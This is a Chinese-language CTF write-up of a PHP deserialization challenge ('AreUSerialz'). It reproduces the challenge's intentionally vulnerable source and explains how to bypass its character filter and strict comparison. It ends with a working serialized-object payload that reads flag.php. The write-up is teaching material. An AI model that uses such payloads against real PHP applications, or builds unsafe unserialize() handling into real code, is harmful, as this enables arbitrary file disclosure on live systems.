今天做了一道比較有趣的反序列化題目([網鼎杯 2020 青龍組]AreUSerialz1),尋思著記錄一下。先看原始碼
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
先來分析一下這道題目的程式碼,首先可以排除construct這個魔術方法,這裡並沒有進行序列化,
然後有個is_valid($s)判斷,這個主要是會使得我們在序列化protected屬性的變數時帶著的空字元被檢測出來。
所以我們可以考慮用public替代protected的方法將它繞過(這裡參考大佬的wp得知對於PHP版本7.1+,對屬性的型別不敏感)。
然後我們想要開啟flag.php,可以考慮走op == "2"這條路徑,然後注意到解構函式destruct那裡與"2"的比較為強比較,而process是弱比較,所以考慮繞過方法,由於兩邊都是字串"2",以"2a"方式繞過是不現實的,所以考慮用
$op=2
這一方式進行繞過,這樣成功將$res賦值file_get_contents($this->filename)並output
payload:
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}
$a=new FileHandler();
echo serialize($a);
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
F12檢視原始碼就能看到flag